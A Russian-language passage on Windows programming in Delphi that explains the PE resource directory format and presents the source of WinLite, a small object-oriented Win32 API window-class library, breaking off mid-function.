– расположить ресурсы достаточно компактно,

– переносить скомпилированные ресурсы между процессорами с разными правилами адресации.

Далее используется термин RVA (relative virtual address), я его поясню. Все адреса в защищенных многозадачных системах (не только на x286..586) обычно делаются `виртуальными`: То есть, пользовательское приложение не должно иметь шанс узнать что-либо о физических адресах — иначе оно теоретически может разрушить любую защиту операционной системы. В Windows строгой защиты в этом смысле нет, но есть еще одна причина `виртуальности` адресов — динамическая загрузка/выгрузка данных из ОЗУ на диск для организации виртуальной памяти. Процессор аппаратно, `на лету`, транслирует виртуальные адреся в физические по таблицам, созданным ядром операционной системы.

Теперь о слове `relative`. Операционной системе, по большому счету, без разницы, какой именно виртуальный адрес дать первому байту образа исполняемого файла в ОЗУ. А линкеру и самой программе, в ряде случаев, удобнее работать с конкретным значением. Оно называется `ImageBase`; линкер записывает его в заголовке PE-файла. По техническим причинам, оно не может быть произвольным для Windows-программ. В Delphi есть директива `{$ImageBase …}`. Так вот, RVA объекта – это его смещение относительно значения `ImageBase`. Обычный адрес объекта (он, кстати, тоже виртуальный) есть сумма значений глобальной переменной `ImageBase` и `RVA` данного объекта.

В тексте использована ассемблерная мнемоника: `DD` и `DW` (Define Double и Define Word), что означает, соответственно, 32– и 16-разрядное слово. Символ `|` означает `или`, `либо`.

Описание формата ресурсов в MS PE COFF.

Я делаю сокращенное изложение фрагмента документации PE COFF. Я полагаю, этого более-менее достаточно, чтобы разобраться, при желании, с текстом примера Delphi. Файл PE.TXT (author Micheal J. O'Leary) взят из документации Microsoft C. Он же входит в MS Software Developers Kit (SDK) и в комплект поставки большинства компиляторов C для Win32. Если Вам интересно положение корневого каталога ресурсов в заголовке PE COFF или более подробный формат заголовка – можно смотреть исходные тексты проекта проекта RSEXPLOR или, разумеется, сам первоисточник — PE.TXT

Ресурсы индексированы как многоуровневое двоичное дерево. Технологически возможно 2**31 уровней, но в Windows стандартно используются только три: первый — TYPE (тип), далее — NAME (имя), далее — LANGUAGE (язык). Ресурсы должны быть отсортированы по определенным правилам – для ускорения поиска.

Типичное расположение ресурсов в файле: сначала лежит `RESOURCE DIRECTORY` (каталог/каталоги ресурсов), затем – `RESOURCE DATA` (собственно данные ресурсов).

Каталог ресурсов довольно похож, по структуре, на каталоги дисков. Он содержит записи (`DIR ENTRIES` – см. далее), которые указывают либо на ресурсы, либо на другие каталоги (точнее – подкаталоги) ресурсов. В отличие от дисков, сами данные не разносятся по кластерам, а наоборот – их стараются плотнее прижать друг к другу, поскольку никто не собирается вставлять туда дополнительные данные после сборки (линковки) исполняемого файла.

Каталог ресурсов начинается с заголовка (четыре 32-битных слова):

DD RESOURCE FLAGS

DD TIME/DATE STAMP

DW MAJOR VERSION, DW MINOR VERSION

DW # NAME ENTRY,  DW # ID ENTRY

декларация в RXTypes.Pas:

IMAGE_RESOURCE_DIRECTORY = packed record

  Characteristics : DWORD;

  TimeDateStamp   : DWORD;

  MajorVersion    : WORD;

  MinorVersion    : WORD;

  NumberOfNamedEntries : WORD;

  NumberOfIdEntries : WORD;

end;

Здесь важны два поля: `# NAME ENTRY` — число точек входа, имеющих имена, и `# ID ENTRY` — число точек входа, имеющих вместо имен целочисленные идентификаторы.

За заголовком следует массив из записей `RESOURCE DIR ENTRIES` (точек входа каталога). Там лежат `# NAME ENTRY`+ `# ID ENTRY` записей типа `DIR ENTRY`. Формат записи `DIR ENTRY` — два 32-битных слова:

DD NAME RVA       | INTEGER ID

DD DATA ENTRY RVA | SUBDIR RVA

декларация в RXTypes.Pas:

IMAGE_RESOURCE_DIRECTORY_ENTRY = packed record

  Name: DWORD; // Or ID: Word (Union)

  OffsetToData: DWORD;

end;

Первое поле содержит либо `NAME RVA` — адрес строки (UNICODE) с именем, либо — `INTEGER ID` – целочисленный идентификатор. `INTEGER ID` может быть, например, одним из стандартных кодов типа ресурса или заданным пользователем кодом строки в таблице строк.

Самый старший бит второго поля (31-й бит) называется `Escape-флагом`. Если он установлен в `1`, считается что данная `DIR ENTRY` — ссылка на другой подкаталог ресурсов. Если сброшен в `0` — данная запись ссылка на данные ресурса. Понятно, при вычислении адреса этот бит всегда должен считаться `0`.

Строка, на которую указывает `NAME RVA`, очень похожа на паскалевскую short-string, только вместо байтов она состоит из 16-битные слов. Самое первое слово – длина строки, за ним лежат 16-битные символы UNICODE. Физически линкер кладет эти строки переменной длиины между каталогами и собственно данными ресурсов.

Понятно, что `SUBDIR RVA` указывает на совершенно аналогичную таблицу подкаталога.

`DATA ENTRY RVA` указывает на запись `RESOURCE DATA ENTRY` такого вида:

DD DATA RVA

DD SIZE

DD CODEPAGE

DD RESERVED

декларация в RXTypes.Pas:

IMAGE_RESOURCE_DATA_ENTRY = packed record

  OffsetToData    : DWORD;

  Size            : DWORD;

  CodePage        : DWORD;

  Reserved        : DWORD;

end;

`DATA RVA` — адрес бинарных данных, `SIZE` — их размер. `CODEPAGE` (кодовая страницa) обычно имеет снысл только для строковых ресурсов. Оговаривается, что в Win32 это должна быть одна из стандартных страниц UNICODE. Сами бинарные данные могут жить либо прямо за полем `RESERVED`, либо где-то в другом месте — смотря куда линкер их положит.

Дамп памяти (взят из PE.TXT)

Далее я привожу целиком фрагмент файла PE.TXT. Это — конкретный пример размещения ресурсов с подробным дампом памяти.

The following is an example for an app. which wants to use the following data as resources:

TypeId# NameId# Language ID Resource Data

00000001 00000001 0 00010001

00000001 00000001 1 10010001

00000001 00000002 0 00010002

00000001 00000003 0 00010003

00000002 00000001 0 00020001

00000002 00000002 0 00020002

00000002 00000003 0 00020003

00000002 00000004 0 00020004

00000009 00000001 0 00090001

00000009 00000009 0 00090009

00000009 00000009 1 10090009

00000009 00000009 2 20090009

Then the Resource Directory in the Portable format looks like:

Offset Data

0000: 00000000 00000000 00000000 00030000 (3 entries in this directory)

0010: 00000001 80000028 (TypeId #1, Subdirectory at offset 0x28)

0018: 00000002 80000050 (TypeId #2, Subdirectory at offset 0x50)

0020: 00000009 80000080 (TypeId #9, Subdirectory at offset 0x80)

0028: 00000000 00000000 00000000 00030000 (3 entries in this directory)

0038: 00000001 800000A0 (NameId #1, Subdirectory at offset 0xA0)

0040: 00000002 00000108 (NameId #2, data desc at offset 0x108)

0048: 00000003 00000118 (NameId #3, data desc at offset 0x118)

0050: 00000000 00000000 00000000 00040000 (4 entries in this directory)

0060: 00000001 00000128 (NameId #1, data desc at offset 0x128)

0068: 00000002 00000138 (NameId #2, data desc at offset 0x138)

0070: 00000003 00000148 (NameId #3, data desc at offset 0x148)

0078: 00000004 00000158 (NameId #4, data desc at offset 0x158)

0080: 00000000 00000000 00000000 00020000 (2 entries in this directory)

0090: 00000001 00000168 (NameId #1, data desc at offset 0x168)

0098: 00000009 800000C0 (NameId #9, Subdirectory at offset 0xC0)

00A0: 00000000 00000000 00000000 00020000 (2 entries in this directory)

00B0: 00000000 000000E8 (Language ID 0, data desc at offset 0xE8

00B8: 00000001 000000F8 (Language ID 1, data desc at offset 0xF8

00C0: 00000000 00000000 00000000 00030000 (3 entries in this directory)

00D0: 00000001 00000178 (Language ID 0, data desc at offset 0x178

00D8: 00000001 00000188 (Language ID 1, data desc at offset 0x188

00E0: 00000001 00000198 (Language ID 2, data desc at offset 0x198

00E8: 000001A8 (At offset 0x1A8, for TypeId #1, NameId #1, Language id #0

00000004 (4 bytes of data)

00000000 (codepage)

00000000 (reserved)

00F8: 000001AC (At offset 0x1AC, for TypeId #1, NameId #1, Language id #1

00000004 (4 bytes of data)

00000000 (codepage)

00000000 (reserved)

0108: 000001B0 (At offset 0x1B0, for TypeId #1, NameId #2,

00000004 (4 bytes of data)

00000000 (codepage)

00000000 (reserved)

0118: 000001B4 (At offset 0x1B4, for TypeId #1, NameId #3,

00000004 (4 bytes of data)

00000000 (codepage)

00000000 (reserved)

0128: 000001B8 (At offset 0x1B8, for TypeId #2, NameId #1,

00000004 (4 bytes of data)

00000000 (codepage)

00000000 (reserved)

0138: 000001BC (At offset 0x1BC, for TypeId #2, NameId #2,

00000004 (4 bytes of data)

00000000 (codepage)

00000000 (reserved)

0148: 000001C0 (At offset 0x1C0, for TypeId #2, NameId #3,

00000004 (4 bytes of data)

00000000 (codepage)

00000000 (reserved)

0158: 000001C4 (At offset 0x1C4, for TypeId #2, NameId #4,

00000004 (4 bytes of data)

00000000 (codepage)

00000000 (reserved)

0168: 000001C8 (At offset 0x1C8, for TypeId #9, NameId #1,

00000004 (4 bytes of data)

00000000 (codepage)

00000000 (reserved)

0178: 000001CC (At offset 0x1CC, for TypeId #9, NameId #9, Language id #0

00000004 (4 bytes of data)

00000000 (codepage)

00000000 (reserved)

0188: 000001D0 (At offset 0x1D0, for TypeId #9, NameId #9, Language id #1

00000004 (4 bytes of data)

00000000 (codepage)

00000000 (reserved)

0198: 000001D4 (At offset 0x1D4, for TypeId #9, NameId #9, Language id #2

00000004 (4 bytes of data)

00000000 (codepage)

00000000 (reserved)

And the data for the resources will look like:

01A8: 00010001

01AC: 10010001

01B0: 00010002

01B4: 00010003

01B8: 00020001

01BC: 00020002

01C0: 00020003

01C4: 00020004

01C8: 00090001

01CC: 00090009

01D0: 10090009

01D4: 20090009

API

Программирование на основе Win32 API в Delphi

1. Введение

Любую современную программу или программную технологию можно представить как совокупность программных "слоев". Каждый из этих слоев производит свою собственную работу, которая заключается в повышении уровня абстракции производимых операций. Так, самый низший слой (слои) вводит понятия, которые позволяют абстрагироваться от используемого оборудования; следующий слой (слои) позволяет программисту абстрагироваться от сложной последовательности вызовов функций, вводя такое понятие как протокол и т.д. Практически в любом современном программном продукте можно обнаружить и выделить около десятка последовательных слоев абстракции.

Абстракция от оборудования и низкоуровневых протоколов вводится в ядра операционных систем в виде библиотек API (Application Program Interface). Однако современные тенденции приводят к необходимости абстрагирования и от самих операционных систем, что позволяет переносить программы с одной операционной системы на другую путем простой перекомпиляции (транслируемые программы, в основном, вообще не требуют никаких действий по переносу).

Абстракцию, которая доступна программисту в виде библиотек API можно назвать базовой. Это самый низкий уровень абстракции, который доступен для прикладного программирования. На уровне ядра системы доступны и более низкие уровни абстракции, однако для их использования необходимо разрабатывать специализированные программы (драйвера, модули). Базовый уровень абстракции (API) предоставляет максимально широкие возможности для прикладного программирования и является наиболее гибким. Однако, программирование с использованием API является гораздо более трудоемким и приводит к значительно большим объемам исходного кода программы, чем программирование с использованием дополнительных библиотек.

Дополнительные библиотеки поставляются со многими средствами разработки с целью уменьшения трудоемкости и сроков разработки программ, что в итоге приводит к повышению их конкурентноспособности. Но применение дополнительных библиотек абстракций приводит к резкому увеличению размеров откомпилированных программ, из-за того что в программу включается код используемых библиотек, к тому же это включение зачастую бывает неэффективным – в программу включаются неиспользуемые участки кода. Кроме того, чем больше уровень абстракции библиотеки, тем сложнее ее код, и тем больше трудностей возникает при решении сложных задач. Приходится учитывать множество взаимосвязей и взаимных влияний отдельных элементов и процессов библиотеки друг на друга. Кроме того, структура и функциональность любой библиотеки обычно рассчитывается на удовлетворение всех потенциально возникающих задач, что приводит к ее громоздкости и неэффективности.

В Delphi используется очень мощная и сложная библиотека VCL (Visual Components Library), которая помимо непосредственных абстракций вводит также и множество своих функциональных классов. В этой библиотеке находятся компоненты для визуального отображения информации, работы с базами данных, с системными объектами, компоненты для работы с Internet-протоколами, классы для написания своих COM-объектов и многое другое. Модули библиотеки подключаются к компиляции по мере необходимости, однако базовый размер простейшего диалогового проекта с одной формой превышает 300кБ (со статически скомпонованной библиотекой). И такой размер во многих случаях может оказаться слишком большим, особенно если программа не требует большой функциональности в интерфейсе.

Для решения этой проблемы можно отказаться от использования библиотеки VCL, и программировать, используя базовый набор функций Win32 API. Однако, если при разработке линейных, недиалоговых, нерезидентных программ не возникает никаких трудностей, то разработка программ, требующих активного взаимодействия с пользователем или системой, становится трудоемкой. Структурное программирование, рекомендуемое в таких случаях, оказывается неэффективным и трудоемким.

Данная статья посвящена проблеме создания и использования компактной объектно-ориентированной библиотеки, которая бы облегчила построение небольших и эффективных программ на основе Win32 API.

2. Существующие решения

Автору известны три объектно-ориентированные библиотеки, которые можно рассматривать как альтернативу библиотеке VCL при написании компактных программ. Это библиотеки классов XCL, ACL и KOL. Все библиотеки бесплатны и поставляются в исходных кодах.

Библиотека ACL

(Api control library)

Автор:

Александр Боковиков, Екатеринбург, Россия

Страничка:

http://a-press.ur.ru/pc/bokovikov

E-Mail:

abb@adx.ru

Классы и модули:

TFont, TFonts, TControl, TWinControl, TStdControl, TLabel, TEdit, TListBox, TButton, TCheckBox, TComboBox, TGroupBox, TProgressBar, TKeyboard

Библиотека XCL

(Extreme class library)

Автор:

Vladimir Kladov (Mr.Bonanzas)

Страничка:

E-Mail:

bonanzas@xcl.cjb.net

Классы и модули:

XForm, XApplet, XCanvas, XPen, XBrush, XFont, ZDDB, ZHiBmp, ZDIBitmap, ZBitmap, ZIcon, ZGifDecoder, ZGif, ZJpeg, XLabel, XButton, XBevel, XPanel, XSplitPanel, XStatus, XGrep, XGroup, XCheckBox, XRadioBox, XPaint, XScroller, XScrollBox, XScrollBoxEx, XEdit, XNumEdit, XCombo, XGrid, XListView, XMultiList, XNotebook, XTabs, XTabbedNotebook, XCalendar, XGauge, XGaugePercents, XHysto, XHystoEx, XImageList, XImgButton, XTooltip, XCustomForm, XDsgnForm, XDsgnNonvisual, CLabel, CPaint, CButton, CEdit, CMemo, CCheckBox, CRadioBox, CListBox, CComboBox, ZList, ZMenu, ZPopup, ZMainMenu, ZPopupMenu, ZTimer, ZStrings, ZStringList, ZIniFile, ZThread, ZQueue, ZFileChange, ZDirChange, ZOpenSaveDialog, ZOpenDirDialog, ZTree, ZDirList, ZDirListEx, ZRegistry, ZStream, ZFileStream, ZMemoryStream, XStrUtils, XDateUtils, XFileUtils, XWindowUtils, XPrintUtils, XShellLinks, XJustOne, XJustOneNotify, XPascalUnit, XSysIcons, XCanvasObjectsManager, XRotateFonts, XFocusPainter, XFormsStdMouseEvents, XFormsStdKeyEvents, XFormAutoSizer, XAligner, XControlAutoPlacer, XMfcAntiFlicker, XSplitSizer, XResizeAntiFlicker, XCaretShower, XEditMouseSelect, XEditClipboard, XEditUndo, XListMouseSel, XListKeySel, XListEdit, ZNamedTags, XBtnRepeats, XBufLabels, XBackgrounds, XWndDynHandlers

Библиотека KOL

(Key object library)

Автор:

Vladimir Kladov (Mr.Bonanzas)

Страничка:

E-Mail:

bonanzas@xcl.cjb.net

Классы и модули:

TObj, TList, TGraphicTool, TCanvas, TControl, TTimer, TTrayIcon, TStream, TStrList, TDirList, TIniFile

Как видно из списка приведенных для каждой библиотеки классов, эти библиотеки предендуют скорее не на помощь при написании программ с использованием Win32 API, а пытаются создать более высокий уровень абстракции чем API, по крайней мере в графической части (особенно это относится к XCL). Более того, иерархия и перечень объектов совпадают с соответствующими структурами в библиотеке VCL, что скорее всего связано с желанием авторов обеспечить логическую совместимость с VCL при построении программ на основе этих библиотек.

Данные библиотеки не обеспечивают минимального размера программы, за счет того что предоставляют более высокий уровень абстракции. Они являются компромиссом между программированием с использованием VCL и программированием на чистом API.

3. Принципы построения API-библиотеки

Стандартным видом API-программирования является структурное программирование. Примеры такого программирования на Win32 API есть практически в любой книжке по Borland Pascal, Borland C++, Microsoft Visual C++ и другим системам разработки. Множество примеров API-программирования на С содержится в поставке Microsoft Visual C++.

Структурное программирование с оконными функциями, процедурами обработки команд, не в состоянии обеспечить быструю и эффективную разработку программ. В современной ситуации большинство программистов привыкло к объектно-ориентированному методу, с возможностью инкапсуляции, наследования и переопределения методов объектов. Такое программирование оказывается наиболее эффективным.

Кроме того, для построения эффективной API-библиотеки прежде всего нужно выяснить, какие задачи при работе с Win32 API являются наиболее трудоемкими. Практика показывает, что наиболее неудобным и трудоемким элементом является реализация основного диспетчера логики программы — оконной функции. Реализация этой функции в качестве метода класса, а не простой глобальной функции, позволила бы улучшить структуру кода и облегчить программирование путем инкапсулирования всех переменных внутри оконного класса.

Программирование может быть еще более облегчено, есть возпользоваться механизмом message-процедур языка Object Pascal. Вызов этих процедур полностью лежит на компиляторе и корневом объекте TObject и включает в себя методы Dispatch, DefaultHandler, а также все методы, объявленные с директивой message. Такое решениее позволит полностью отказаться от громоздкого оператора case в оконной функции.

Учитывая все вышеперечисленное автором была создана компактная библиотека оконных классов WinLite. Эта библиотека является минимальной, она не вводит более высоких уровней абстракции чем существуют в Win32 API — она только облегчает работу, переводом программирования в объектно-ориентированное русло. Размер библиотеки очень небольшой и вся она помещается в один модуль. Библиотека реализует базовый класс TLiteFrame и построенные на основе него оконные классы:

• TLiteWindow — класс окна, с возможностью subclass'инга;

• TLiteDialog — класс немодального диалога;

• TLiteDialogBox — класс модального диалога. Библиотека может быть использована совместно с VCL. На первый взгляд, это возможность является абсурдной и ненужной, так как об экономии размера в этом случае не может быть и речи. Однако, иногда бывают моменты, когда реализация специфических оконных элементов на основе объектов TWinControl или TCustomControl может быть затруднена или неэффективна из-за их сложности и неочевидного поведения. В этом случае, можно реализовать такой элемент на базе класса TLiteWindow — он будет вести себя стандартным образом, как и полагается вести себя стандартному оконному элементу Win32.

Благодаря своей простой архитектуре библиотека может быть использована в многопоточной программе. Конечно, вы не сможете вызывать методы классов одного потока из другого потока без соответствующей синхронизации. Однако, вы можете беспрепятственно создавать оконные классы в различных потоках без блокировки и синхронизации, а также посылать сообщения оконным классам в другом потоке.

Практический совет: при API-программировании программист должен сам следить за корректным освобождением многочисленных ресурсов, которые занимает программа во время выполнения. Поэтому, для облегчения этой задачи используйте какую-либо контролирующую утилиту, например MemProof или Numega BoundsChecker. Корректное освобождение занятых ресурсов крайне необходимо !

Для редактирования шаблонов диалогов можно использовать любой редактор ресурсов, например Borland Resource WorkShop, правда он несколько неудобен, а окончательный результат все равно приходится корректировать вручную.

Вся документация необходимая для API-программирования содержится в поставляемых компанией Microsoft компакт-дисках с документацией под общим названием MSDN (Microsoft Developer's Network). Существует online-версия документации по адресу . Урезанная версия MSDN, содержащая основные файлы помощи, поставляется с Delphi.

Прежде чем вы решите работать над своим проектом в русле Win32 API, подумайте, а зачем вам это нужно? В подавляющем числе случаев размер программы не имеет никакого значения. Я не хочу сказать, что API-программирование сложнее чем VCL-программирование. Во многих случаях легче изучить и написать 10 вызовов API с кучей аргументов и понимать, что происходит, чем написать 1 вызов простой, на первый взгляд, VCL-инструкции и потом долго исследовать дебри VCL в поисках ответа. Просто API-программирование – это другая культура, к которой вы, возможно, не привыкли. И первоначальная работа может вызвать у вас сильное разочарование. API-программирование требует дотошности, кропотливости и внимательного изучения документации.

Те же, кто отважился программировать на API, наряду с библиотекой WinLite могут совместно использовать невизуальные классы как из состава VCL (модули SysUtils, Classes), так и многие сторонние — естественно, что размер вашей программы при этом увеличится.

• Невизуальные классы библиотеки ACL – http://a-press.ur.ru/pc/bokovikov

• Невизуальные классы библиотеки XCL –

• JEDI Code Library – -jedi.com

• Системные компоненты на Torry – Заслуживает внимание работа Владимира Кладова по изменению функциональности обязательного модуля system.pas. Со времен первых версий Turbo Pascal этот модуль по умолчанию компонуется в исполняемый код программы. Код модуля реализует многие принципы и решения заложенные в синтаксис и логику языка Object Pascal, и изменение этого модуля позволяет модифицировать реализацию этой логики. Такое решение является специфичным для языка Object Pascal в отличие, например, от C/C++, где компилятор и абсолюдно все модули никак не связаны. Изменение модуля system.pas, а именно его разбиение на блоки и сокращение редко используемых участков кода позволило сократить постоянные (не переменные) издержки примерно на 8 кБ. Конечно, для больших проектов, такое сокращение может быть и незаметным, однако интересен сам принцип.

Модифицированный модуль system.pas –

4. Библиотека WinLite

////////////////////////////////////////////////////////////////////////////////

// WinLite, библиотека классов и функций для работы с Win32 API

// (c) Николай Мазуркин, 1999-2000

// ___________________________________________________________

// Оконные классы

////////////////////////////////////////////////////////////////////////////////

unit WinLite;

interface

uses Windows, Messages;

Инициализационные структуры

Объявление структур, которые используются для формирования параметров вновь создаваемых окон и диалогов соответственно.

////////////////////////////////////////////////////////////////////////////////

// Параметры для создания окна

////////////////////////////////////////////////////////////////////////////////

type

  TWindowParams = record

    Caption     : PChar;

    Style       : DWord;

    ExStyle     : DWord;

    X           : Integer;

    Y           : Integer;

    Width       : Integer;

    Height      : Integer;

    WndParent   : THandle;

    WndMenu     : THandle;

    Param       : Pointer;

    WindowClass : TWndClass;

  end;

////////////////////////////////////////////////////////////////////////////////

// Параметры для создания диалога

////////////////////////////////////////////////////////////////////////////////

type

  TDialogParams = record

    Template    : PChar;

    WndParent   : THandle;

  end;

Декларация базового класса TLiteFrame

Базовый класс для окон и диалогов. Инкапсулирует в себе дескриптор окна и объявляет общую оконную процедуру. Реализует механизм message-процедур.

////////////////////////////////////////////////////////////////////////////////

// TLiteFrame

// ____________________________________________________________

// Базовый класс для объектов TLiteWindow, TLiteDialog, TLiteDialogBox

////////////////////////////////////////////////////////////////////////////////

type

  TLiteFrame = class(TObject)

  private

    FWndCallback: Pointer;

    FWndHandle  : THandle;

    FWndParent  : THandle;

    function    WindowCallback(hWnd: HWnd; Msg,

WParam, LParam:Longint):Longint; stdcall;

  protected

    procedure   WindowProcedure(var Msg: TMessage); virtual;

  public

    property    WndHandle: THandle read FWndHandle;

    property    WndCallback: Pointer read FWndCallback;

  public

    constructor Create(AWndParent: THandle); virtual;

    destructor  Destroy; override;

  end;

Декларация оконного класса TLiteWindow

Создание уникального класса окна и создание окна. Возможность субклассинга стороннего окна.

////////////////////////////////////////////////////////////////////////////////

// TLiteWindow

// _______________________________________________

// Оконный класс

////////////////////////////////////////////////////////////////////////////////

type

  TLiteWindow = class(TLiteFrame)

  private

    FWndParams  : TWindowParams;

    FWndSubclass: Pointer;

  protected

    procedure   CreateWindowParams(

var WindowParams: TWindowParams); virtual;

  public

    procedure   DefaultHandler(var Msg); override;

    constructor Create(AWndParent: THandle); override;

    constructor CreateSubclassed(AWnd: THandle); virtual;

    destructor  Destroy; override;

  end;

Декларация диалогового класса TLiteDialog

Загрузка шаблона диалога и создание диалога.

////////////////////////////////////////////////////////////////////////////////

// TLiteDialog

// _______________________________________________

// Диалоговый класс

////////////////////////////////////////////////////////////////////////////////

type

  TLiteDialog = class(TLiteFrame)

  private

    FDlgParams  : TDialogParams;

  protected

    procedure   CreateDialogParams(var DialogParams: TDialogParams); virtual;

  public

    procedure   DefaultHandler(var Msg); override;

    constructor Create(AWndParent: THandle); override;

    destructor  Destroy; override;

  end;

Декларация модального диалогового класса TLiteDialogBox

Загрузка шаблона диалога и создание диалога. Модальный показ диалога.

////////////////////////////////////////////////////////////////////////////////

// TLiteDialogBox

// ______________________________________________

// Модальный диалоговый класс

////////////////////////////////////////////////////////////////////////////////

type

  TLiteDialogBox = class(TLiteFrame)

  private

    FDlgParams  : TDialogParams;

  protected

    procedure   CreateDialogParams(var DialogParams: TDialogParams); virtual;

  public

    procedure   DefaultHandler(var Msg); override;

  public

    function    ShowModal: Integer;

  end;

Реализация базового класса TLiteFrame

implementation

////////////////////////////////////////////////////////////////////////////////

// TLiteFrame

// ___________________________________________________

// Инициализация / финализация

////////////////////////////////////////////////////////////////////////////////

////////////////////////////////////////////////////////////////////////////////

// Конструктор

////////////////////////////////////////////////////////////////////////////////

constructor TLiteFrame.Create(AWndParent: THandle);

begin

  inherited Create;

  // Запоминаем дескриптор родительского окна

  FWndParent := AWndParent;

  // Создаем место под блок обратного вызова

  FWndCallback := VirtualAlloc(nil,12,MEM_RESERVE or

MEM_COMMIT,PAGE_EXECUTE_READWRITE);

  // Формируем блок обратного вызова

  asm

    mov  EAX, Self

    mov  ECX, [EAX].TLiteFrame.FWndCallback    

    mov  word  ptr [ECX+0], $6858               // pop  EAX

    mov  dword ptr [ECX+2], EAX                 // push _Self_

    mov  word  ptr [ECX+6], $E950               // push EAX

    mov  EAX, OFFSET(TLiteFrame.WindowCallback)

    sub  EAX, ECX

    sub  EAX, 12

    mov  dword ptr [ECX+8], EAX                 // jmp  TLiteFrame.WindowCallback

  end;

end;

////////////////////////////////////////////////////////////////////////////////

// Деструктор

////////////////////////////////////////////////////////////////////////////////

destructor TLiteFrame.Destroy;

begin

  // Уничтожаем структуру блока обратного вызова

  VirtualFree(FWndCallback, 0, MEM_RELEASE);

  // Уничтожение по умолчанию

  inherited;

end;

////////////////////////////////////////////////////////////////////////////////

// TLiteFrame

// ___________________________________________________________

// Функции обработки сообщений

////////////////////////////////////////////////////////////////////////////////

////////////////////////////////////////////////////////////////////////////////

// Функция обратного вызова для получения оконных сообщений

////////////////////////////////////////////////////////////////////////////////

function TLiteFrame.WindowCallback(hWnd: HWnd;

Msg, WParam, LParam: Integer): Longint;

var

  WindowMsg : TMessage;

begin

  // Запоминаем дескриптор окна, если это первый вызов

// оконной процедуры

  if FWndHandle = 0 then FWndHandle := hWnd;

  // Формируем сообщение

  WindowMsg.Msg    := Msg;

  WindowMsg.WParam := WParam;

  WindowMsg.LParam := LParam;

  // Обрабатываем его

  WindowProcedure(WindowMsg);

  // Возвращаем результат обратно системе

  Result := WindowMsg.Result;

end;

////////////////////////////////////////////////////////////////////////////////

// Виртуальная функция для обработки оконных сообщений

////////////////////////////////////////////////////////////////////////////////

procedure TLiteFrame.WindowProcedure(var Msg: TMessage);

begin

  // Распределяем сообщения по обработчикам

  Dispatch(Msg);

end;

Реализация оконного класса TLiteWindow

////////////////////////////////////////////////////////////////////////////////

// TLiteWindow

// _______________________________________________

// Инициализация / финализация

////////////////////////////////////////////////////////////////////////////////

////////////////////////////////////////////////////////////////////////////////

// Конструктор

////////////////////////////////////////////////////////////////////////////////

constructor TLiteWindow.Create(AWndParent: THandle);

begin

  inherited;

  // Формируем параметры окна

  CreateWindowParams(FWndParams);

  // Регистрируем класс окна

  RegisterClass(FWndParams.WindowClass);

  // Создаем окно

  with FWndParams do

    CreateWindowEx(ExStyle, WindowClass.lpszClassName, Caption,

      Style, X, Y, Width, Height,

      WndParent, WndMenu, hInstance, Param

    );

end;

////////////////////////////////////////////////////////////////////////////////

// Конструктор элемента с субклассингом

////////////////////////////////////////////////////////////////////////////////

constructor TLiteWindow.CreateSubclassed(AWnd: THandle);

begin

  inherited Create(GetParent(AWnd));

  // Сохраняем оконную функцию

  FWndSubclass := Pointer(GetWindowLong(AWnd, GWL_WNDPROC));

  // Сохраняем дескриптор окна

  FWndHandle   := AWnd;

  // Устанавливаем свою оконную функцию

  SetWindowLong(FWndHandle, GWL_WNDPROC, DWord(WndCallback));

end;

////////////////////////////////////////////////////////////////////////////////

// Деструктор

////////////////////////////////////////////////////////////////////////////////

destructor TLiteWindow.Destroy;

begin

  // Наш объект - объект субклассиннга ?

  if FWndSubclass = nil then

  begin

    // Уничтожаем класс окна

    UnregisterClass(FWndParams.WindowClass.lpszClassName, hInstance);

    // Уничтожаем окно

    if IsWindow(FWndHandle) then DestroyWindow(FWndHandle);

  end

  else

    // Восстанавливаем старую оконную функцию

    SetWindowLong(FWndHandle, GWL_WNDPROC, DWord(FWndSubclass));

  // Уничтожение по умолчанию

  inherited;

end;

////////////////////////////////////////////////////////////////////////////////

// Формирование параметров окна по умолчанию

////////////////////////////////////////////////////////////////////////////////

procedure TLiteWindow.CreateWindowParams(

var WindowParams: TWindowParams);

var

  WndClassName : string;

begin

  // Формируем имя класса

  Str(DWord(Self), WndClassName);

  WndClassName := ClassName+':'+WndClassName;

  // Заполняем информацию о классе окна

  with FWndParams.WindowClass do

  begin

    style         := CS_DBLCLKS;

    lpfnWndProc   := WndCallback;

    cbClsExtra    := 0;

    cbWndExtra    := 0;

    lpszClassName := PChar(WndClassName);

    hInstance     := hInstance;

    hIcon         := LoadIcon(0, IDI_APPLICATION);

    hCursor       := LoadCursor(0, IDC_ARROW);

    hbrBackground := COLOR_BTNFACE + 1;

    lpszMenuName  := '';

  end;

  // Заполняем информацию об окне

  with FWndParams do

  begin

    WndParent := FWndParent;

    Caption := 'Lite Window';

    Style   := WS_OVERLAPPEDWINDOW or WS_VISIBLE;

    ExStyle := 0;

    X       := Integer(CW_USEDEFAULT);

    Y       := Integer(CW_USEDEFAULT);

    Width   := Integer(CW_USEDEFAULT);

    Height  := Integer(CW_USEDEFAULT);

    WndMenu := 0;

    Param   := nil;

  end;

end;

////////////////////////////////////////////////////////////////////////////////

// TLiteWindow

// ______________________________________________

// Функции обработки сообщений

////////////////////////////////////////////////////////////////////////////////

////////////////////////////////////////////////////////////////////////////////

// Обработчик сообщений по умолчанию

////////////////////////////////////////////////////////////////////////////////

procedure TLiteWindow.DefaultHandler(var Msg);

begin

  // Наш объект - объект субклассиннга ?

  if FWndSubclass = nil then

    // Вызываем системную функцию обработки сообщений

    with TMessage(Msg) do

      Result := DefWindowProc(FWndHandle, Msg, WParam, LParam)

  else

    // Вызываем старую оконную функцию обработки сообщений

    with TMessage(Msg) do

      Result := CallWindowProc(FWndSubclass, FWndHandle, Msg,

WParam, LParam);

end;

Реализация диалогового класса TLiteDialog

////////////////////////////////////////////////////////////////////////////////

// TLiteDialog

// ____________________________________________

// Инициализация / финализация

////////////////////////////////////////////////////////////////////////////////

////////////////////////////////////////////////////////////////////////////////

// Конструктор

////////////////////////////////////////////////////////////////////////////////

constructor TLiteDialog.Create(AWndParent: THandle);

begin

  inherited;

  // Формируем параметры диалога

  CreateDialogParams(FDlgParams);

  // Создаем диалог

  with FDlgParams do

    CreateDialogParam(hInstance, Template, WndParent, WndCallback, 0);

end;

////////////////////////////////////////////////////////////////////////////////

// Деструктор

////////////////////////////////////////////////////////////////////////////////

destructor TLiteDialog.Destroy;

begin

  // Уничтожаем диалог

  if IsWindow(FWndHandle) then DestroyWindow(FWndHandle);

  // Уничтожение по умолчанию

  inherited;

end;

////////////////////////////////////////////////////////////////////////////////

// Формирование параметров диалога по умолчанию

////////////////////////////////////////////////////////////////////////////////

procedure TLiteDialog.CreateDialogParams(var DialogParams: TDialogParams);

begin

